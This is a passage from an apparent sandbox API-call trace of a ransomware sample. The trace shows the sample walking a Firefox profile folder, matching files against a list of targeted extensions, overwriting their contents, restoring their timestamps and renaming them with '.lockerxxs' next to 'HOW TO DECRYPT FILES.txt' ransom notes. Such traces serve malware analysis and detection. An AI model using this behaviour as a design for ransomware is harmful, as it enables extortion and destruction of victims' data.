HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.lockerxxs")) returned 1 [0086.318] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83ce6bb0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x83ce6bb0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40b0, dwReserved0=0xb80001b9, dwReserved1=0x4e00c4, cFileName="ba182bcd131f1f3c6b6fbbb1ba078341.png", cAlternateFileName="BA182B~1.PNG")) returned 1 [0086.318] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.318] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ba182bcd131f1f3c6b6fbbb1ba078341.png") returned 1 [0086.318] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ba182bcd131f1f3c6b6fbbb1ba078341.png") returned 1 [0086.318] lstrcmpiA (lpString1="", lpString2="ba182bcd131f1f3c6b6fbbb1ba078341.png") returned -1 [0086.318] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png") returned="4cc87c1409819bf06f42b782d4902b2f.png" [0086.318] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\" [0086.318] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\") returned="" [0086.318] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\HOW TO DECRYPT FILES.txt" [0086.318] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\how to decrypt files.txt")) returned 0x2020 [0086.318] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\", lpString2="ba182bcd131f1f3c6b6fbbb1ba078341.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" [0086.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.ems") returned 0 [0086.319] lstrlenA (lpString="*.ems") returned 5 [0086.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.db") returned 0 [0086.319] lstrlenA (lpString="*.db") returned 4 [0086.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.dbf") returned 0 [0086.319] lstrlenA (lpString="*.dbf") returned 5 [0086.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.myox") returned 0 [0086.319] lstrlenA (lpString="*.myox") returned 6 [0086.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.myo") returned 0 [0086.319] lstrlenA (lpString="*.myo") returned 5 [0086.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.qbw") returned 0 [0086.319] lstrlenA (lpString="*.qbw") returned 5 [0086.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.qbb") returned 0 [0086.319] lstrlenA (lpString="*.qbb") returned 5 [0086.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.qbm") returned 0 [0086.319] lstrlenA (lpString="*.qbm") returned 5 [0086.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.qbo") returned 0 [0086.319] lstrlenA (lpString="*.qbo") returned 5 [0086.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.qbx") returned 0 [0086.320] lstrlenA (lpString="*.qbx") returned 5 [0086.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.qba") returned 0 [0086.320] lstrlenA (lpString="*.qba") returned 5 [0086.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.qby") returned 0 [0086.320] lstrlenA (lpString="*.qby") returned 5 [0086.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.qbj") returned 0 [0086.320] lstrlenA (lpString="*.qbj") returned 5 [0086.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.ofx") returned 0 [0086.320] lstrlenA (lpString="*.ofx") returned 5 [0086.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.qif") returned 0 [0086.320] lstrlenA (lpString="*.qif") returned 5 [0086.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.mye") returned 0 [0086.320] lstrlenA (lpString="*.mye") returned 5 [0086.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.mbox") returned 0 [0086.320] lstrlenA (lpString="*.mbox") returned 6 [0086.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.eml") returned 0 [0086.320] lstrlenA (lpString="*.eml") returned 5 [0086.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.pst") returned 0 [0086.320] lstrlenA (lpString="*.pst") returned 5 [0086.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.ost") returned 0 [0086.320] lstrlenA (lpString="*.ost") returned 5 [0086.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.idx") returned 0 [0086.321] lstrlenA (lpString="*.idx") returned 5 [0086.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.dbx") returned 0 [0086.321] lstrlenA (lpString="*.dbx") returned 5 [0086.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.sql") returned 0 [0086.321] lstrlenA (lpString="*.sql") returned 5 [0086.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.mdb") returned 0 [0086.321] lstrlenA (lpString="*.mdb") returned 5 [0086.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.fdb") returned 0 [0086.321] lstrlenA (lpString="*.fdb") returned 5 [0086.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.wab") returned 0 [0086.321] lstrlenA (lpString="*.wab") returned 5 [0086.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.dat") returned 0 [0086.321] lstrlenA (lpString="*.dat") returned 5 [0086.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.txt") returned 0 [0086.321] lstrlenA (lpString="*.txt") returned 5 [0086.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.jpeg") returned 0 [0086.321] lstrlenA (lpString="*.jpeg") returned 6 [0086.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.jpg") returned 0 [0086.321] lstrlenA (lpString="*.jpg") returned 5 [0086.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", pszSpec="*.png") returned 1 [0086.321] lstrlenA (lpString="*.png") returned 5 [0086.321] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" [0086.322] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" [0086.322] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png." [0086.322] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.lockerxxs" [0086.322] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0086.323] GetFileSize (in: hFile=0xa0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x40b0 [0086.323] GetFileTime (in: hFile=0xa0, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x83ce6bb0, dwHighDateTime=0x1d2e627), lpLastAccessTime=0x407536*(dwLowDateTime=0x83ce6bb0, dwHighDateTime=0x1d2e627), lpLastWriteTime=0x40753e*(dwLowDateTime=0x83ce6bb0, dwHighDateTime=0x1d2e627)) returned 1 [0086.323] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.323] ReadFile (in: hFile=0xa0, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x408a, lpOverlapped=0x0) returned 1 [0086.326] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png") returned="ba182bcd131f1f3c6b6fbbb1ba078341.png" [0086.326] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.326] WriteFile (in: hFile=0xa0, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x408a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x408a, lpOverlapped=0x0) returned 1 [0086.326] SetFileTime (hFile=0xa0, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.326] CloseHandle (hObject=0xa0) returned 1 [0086.327] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.lockerxxs")) returned 1 [0086.328] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb97ade50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb97ade50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb97ade50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x1c362, dwReserved0=0xb80001b9, dwReserved1=0x4e00c4, cFileName="ce8c0453589216a67cddb50284fbfe8d.png", cAlternateFileName="CE8C04~1.PNG")) returned 1 [0086.328] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.328] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ce8c0453589216a67cddb50284fbfe8d.png") returned 1 [0086.328] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ce8c0453589216a67cddb50284fbfe8d.png") returned 1 [0086.328] lstrcmpiA (lpString1="", lpString2="ce8c0453589216a67cddb50284fbfe8d.png") returned -1 [0086.328] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png") returned="ba182bcd131f1f3c6b6fbbb1ba078341.png" [0086.328] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\" [0086.328] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\") returned="" [0086.328] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\HOW TO DECRYPT FILES.txt" [0086.328] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\how to decrypt files.txt")) returned 0x2020 [0086.329] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\", lpString2="ce8c0453589216a67cddb50284fbfe8d.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" [0086.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.ems") returned 0 [0086.329] lstrlenA (lpString="*.ems") returned 5 [0086.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.db") returned 0 [0086.329] lstrlenA (lpString="*.db") returned 4 [0086.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.dbf") returned 0 [0086.329] lstrlenA (lpString="*.dbf") returned 5 [0086.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.myox") returned 0 [0086.329] lstrlenA (lpString="*.myox") returned 6 [0086.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.myo") returned 0 [0086.329] lstrlenA (lpString="*.myo") returned 5 [0086.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.qbw") returned 0 [0086.329] lstrlenA (lpString="*.qbw") returned 5 [0086.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.qbb") returned 0 [0086.329] lstrlenA (lpString="*.qbb") returned 5 [0086.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.qbm") returned 0 [0086.329] lstrlenA (lpString="*.qbm") returned 5 [0086.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.qbo") returned 0 [0086.329] lstrlenA (lpString="*.qbo") returned 5 [0086.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.qbx") returned 0 [0086.330] lstrlenA (lpString="*.qbx") returned 5 [0086.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.qba") returned 0 [0086.330] lstrlenA (lpString="*.qba") returned 5 [0086.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.qby") returned 0 [0086.330] lstrlenA (lpString="*.qby") returned 5 [0086.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.qbj") returned 0 [0086.330] lstrlenA (lpString="*.qbj") returned 5 [0086.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 